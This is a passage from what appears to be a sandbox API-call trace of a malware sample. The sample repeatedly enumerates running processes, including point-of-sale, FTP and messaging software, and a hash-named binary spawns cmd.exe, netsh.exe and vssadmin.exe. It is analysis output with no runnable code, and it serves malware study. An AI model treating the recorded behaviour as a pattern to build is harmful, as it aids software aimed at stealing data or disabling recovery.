szExeFile="notepad.exe")) returned 1 [0061.690] GetLastError () returned 0x12 [0061.690] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0061.691] GetLastError () returned 0x12 [0061.691] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0061.692] GetLastError () returned 0x12 [0061.692] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0061.693] GetLastError () returned 0x12 [0061.693] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0061.694] GetLastError () returned 0x12 [0061.694] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0061.695] GetLastError () returned 0x12 [0061.695] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0061.696] GetLastError () returned 0x12 [0061.696] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0061.697] GetLastError () returned 0x12 [0061.697] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0061.698] GetLastError () returned 0x12 [0061.698] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0061.699] GetLastError () returned 0x12 [0061.699] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0061.700] GetLastError () returned 0x12 [0061.700] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0061.701] GetLastError () returned 0x12 [0061.701] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0061.702] GetLastError () returned 0x12 [0061.702] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0061.703] GetLastError () returned 0x12 [0061.703] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0061.704] GetLastError () returned 0x12 [0061.704] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0061.705] GetLastError () returned 0x12 [0061.705] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0061.706] GetLastError () returned 0x12 [0061.706] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0061.707] GetLastError () returned 0x12 [0061.707] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0061.708] GetLastError () returned 0x12 [0061.708] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0061.709] GetLastError () returned 0x12 [0061.709] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0061.710] GetLastError () returned 0x12 [0061.710] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0061.711] GetLastError () returned 0x12 [0061.711] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0061.712] GetLastError () returned 0x12 [0061.712] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="livepresidentlight.exe")) returned 1 [0061.713] GetLastError () returned 0x12 [0061.713] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="remove patient teacher.exe")) returned 1 [0061.713] GetLastError () returned 0x12 [0061.713] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="certainlyknow.exe")) returned 1 [0061.714] GetLastError () returned 0x12 [0061.714] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0061.715] GetLastError () returned 0x12 [0061.715] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0061.716] GetLastError () returned 0x12 [0061.716] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0061.717] GetLastError () returned 0x12 [0061.717] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0061.718] GetLastError () returned 0x12 [0061.718] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0061.718] GetLastError () returned 0x12 [0061.719] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0061.719] GetLastError () returned 0x12 [0061.719] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0061.720] GetLastError () returned 0x12 [0061.720] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0061.721] GetLastError () returned 0x12 [0061.721] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0061.722] GetLastError () returned 0x12 [0061.722] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0061.723] GetLastError () returned 0x12 [0061.723] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0061.723] GetLastError () returned 0x12 [0061.723] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf24, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0061.724] GetLastError () returned 0x12 [0061.724] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xf2c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0061.725] GetLastError () returned 0x12 [0061.725] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0061.726] GetLastError () returned 0x12 [0061.726] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.842] GetLastError () returned 0x12 [0061.842] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0061.843] CloseHandle (hObject=0x198) returned 1 [0061.843] Sleep (dwMilliseconds=0x1f4) [0062.945] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x184 [0062.949] Process32FirstW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0062.950] GetLastError () returned 0x12 [0062.950] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0062.951] GetLastError () returned 0x12 [0062.951] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0062.951] GetLastError () returned 0x12 [0062.951] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.952] GetLastError () returned 0x12 [0062.952] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0062.953] GetLastError () returned 0x12 [0062.953] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.954] GetLastError () returned 0x12 [0062.954] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0062.954] GetLastError () returned 0x12 [0062.954] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0062.955] GetLastError () returned 0x12 [0062.955] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0062.956] GetLastError () returned 0x12 [0062.956] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0062.957] GetLastError () returned 0x12 [0062.957] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.957] GetLastError () returned 0x12 [0062.957] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.958] GetLastError () returned 0x12 [0062.958] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.960] GetLastError () returned 0x12 [0062.960] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.961] GetLastError () returned 0x12 [0062.961] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.962] GetLastError () returned 0x12 [0062.962] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.962] GetLastError () returned 0x12 [0062.962] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0062.963] GetLastError () returned 0x12 [0062.963] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.964] GetLastError () returned 0x12 [0062.964] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0062.965] GetLastError () returned 0x12 [0062.965] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0062.965] GetLastError () returned 0x12 [0062.965] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.966] GetLastError () returned 0x12 [0062.966] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0062.967] GetLastError () returned 0x12 [0062.967] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0062.968] GetLastError () returned 0x12 [0062.968] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x70c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0062.968] GetLastError () returned 0x12 [0062.968] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.969] GetLastError () returned 0x12 [0062.969] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0062.970] GetLastError () returned 0x12 [0062.970] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0062.970] GetLastError () returned 0x12 [0062.971] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0062.971] GetLastError () returned 0x12 [0062.971] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0062.972] GetLastError () returned 0x12 [0062.972] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0062.973] GetLastError () returned 0x12 [0062.973] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0062.973] GetLastError () returned 0x12 [0062.974] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0062.974] GetLastError () returned 0x12 [0062.974] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="paper left.exe")) returned 1 [0062.976] GetLastError () returned 0x12 [0062.976] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="lead possible.exe")) returned 1 [0062.977] GetLastError () returned 0x12 [0062.977] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="store future.exe")) returned 1 [0062.978] GetLastError () returned 0x12 [0062.978] Process32NextW (in: hSnapshot=0x184, 